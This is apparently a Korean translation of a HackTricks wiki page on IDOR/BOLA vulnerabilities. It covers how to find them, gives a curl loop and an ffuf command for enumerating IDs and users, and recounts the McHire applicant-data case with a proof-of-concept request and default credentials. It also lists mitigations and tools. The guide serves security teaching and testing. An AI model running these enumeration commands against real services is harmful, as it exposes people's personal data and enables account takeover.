IDOR (Insecure Direct Object Reference)
Reading time: 5 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA)는 웹 또는 API 엔드포인트가 사용자로 제어 가능한 식별자를 노출하거나 수락하고, 그 식별자를 직접 사용하여 호출자가 해당 객체에 접근/수정할 권한이 있는지 검증하지 않고 내부 객체에 접근할 때 발생합니다. 성공적인 공격은 일반적으로 다른 사용자의 데이터를 읽거나 수정하는 등 수평적 또는 수직적 privilege-escalation을 허용하며, 최악의 경우 전체 계정 탈취(full account takeover) 또는 mass-data exfiltration로 이어질 수 있습니다.
1. 잠재적 IDOR 식별
- 객체를 참조하는 파라미터를 찾습니다:
- 경로:
/api/user/1234
,/files/550e8400-e29b-41d4-a716-446655440000
- 쿼리:
?id=42
,?invoice=2024-00001
- 본문 / JSON:
{"user_id": 321, "order_id": 987}
- 헤더 / 쿠키:
X-Client-ID: 4711
- 데이터(읽기 또는 업데이트)를 하는 엔드포인트(
GET
,PUT
,PATCH
,DELETE
)를 우선적으로 살펴보세요. - 식별자가 연속적이거나 예측 가능한 경우를 주의하세요 — 예: ID가
64185742
라면64185741
도 존재할 가능성이 높습니다. - 숨겨진 또는 대체 흐름(예: 로그인 페이지의 "Paradox team members" 링크)을 탐색하여 추가 API가 노출되는지 확인하세요.
- 권한이 낮은 인증된 세션을 사용하고 ID만 변경하되 같은 토큰/쿠키를 유지하세요. 권한 오류가 없으면 보통 IDOR의 신호입니다.
빠른 수동 변조 (Burp Repeater)
PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json
{"lead_id":64185741}
자동화된 enumeration (Burp Intruder / curl loop)
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done
사용자/파일 열거를 위한 Error-response oracle
When a download endpoint accepts both a username and a filename (e.g. /view.php?username=<u>&file=<f>
), subtle differences in error messages often create an oracle:
- 존재하지 않는 username → "User not found"
- 잘못된 filename이지만 유효한 확장자 → "File does not exist" (때때로 사용 가능한 파일을 나열함)
- 잘못된 확장자 → validation error
With any authenticated session, you can fuzz the username parameter while holding a benign filename and filter on the "user not found" string to discover valid users:
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'
유효한 사용자 이름을 확인한 후 특정 파일을 직접 요청합니다(예: /view.php?username=amanda&file=privacy.odt
). 이러한 패턴은 일반적으로 다른 사용자의 문서 무단 공개 및 credential leakage로 이어집니다.
2. 실제 사례 연구 – McHire Chatbot Platform (2025)
Paradox.ai 기반의 McHire 채용 포털을 평가하는 동안 다음 IDOR이 발견되었다:
- 엔드포인트:
PUT /api/lead/cem-xhr
- Authorization: 모든 레스토랑 테스트 계정에 대한 user session cookie
- 요청 본문 파라미터:
{"lead_id": N}
– 8자리, 연속적인 숫자 식별자
lead_id
를 감소시키자 테스터는 임의의 지원자들의 full PII(이름, 이메일, 전화번호, 주소, 근무 선호도)와 session hijacking을 가능하게 하는 소비자 JWT를 획득했다. 1 – 64,185,742
범위를 열거한 결과 대략 64 million 건의 레코드가 노출되었다.
Proof-of-Concept 요청:
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'
Combined with 기본 관리자 자격증명 (123456:123456
) that granted access to the test account, the vulnerability resulted in a critical, company-wide data breach.
3. Impact of IDOR / BOLA
- 수평적 권한 상승 – 다른 사용자들의 데이터 읽기/수정/삭제.
- 수직적 권한 상승 – 권한이 낮은 사용자가 관리자 전용 기능 획득.
- 식별자가 순차적일 경우 대규모 데이터 유출(예: 지원자 ID, 송장).
- 토큰을 훔치거나 다른 사용자의 비밀번호를 재설정하여 계정 탈취.
4. Mitigations & Best Practices
- **객체 수준 권한 검사(object-level authorization)**를 모든 요청에서 적용 (
user_id == session.user
). - 자동 증가 ID 대신 간접적이고 추측 불가능한 식별자(indirect, unguessable identifiers) 사용 (UUIDv4, ULID).
- 권한 검사는 server-side에서 수행하고, 숨겨진 폼 필드나 UI 컨트롤에 의존하지 마세요.
- 중앙 미들웨어에서 RBAC / ABAC 검사를 구현하세요.
- ID 열거(enumeration)를 탐지하기 위해 rate-limiting & logging을 추가하세요.
- 모든 새 엔드포인트에 대해 보안 테스트(단위 테스트, 통합 테스트, DAST)를 수행하세요.
5. Tooling
- BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
- OWASP ZAP: Auth Matrix, Forced Browse.
- Github projects:
bwapp-idor-scanner
,Blindy
(bulk IDOR hunting).
References
- McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII
- OWASP Top 10 – Broken Access Control
- How to Find More IDORs – Vickie Li
- HTB Nocturnal: IDOR oracle → file theft
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.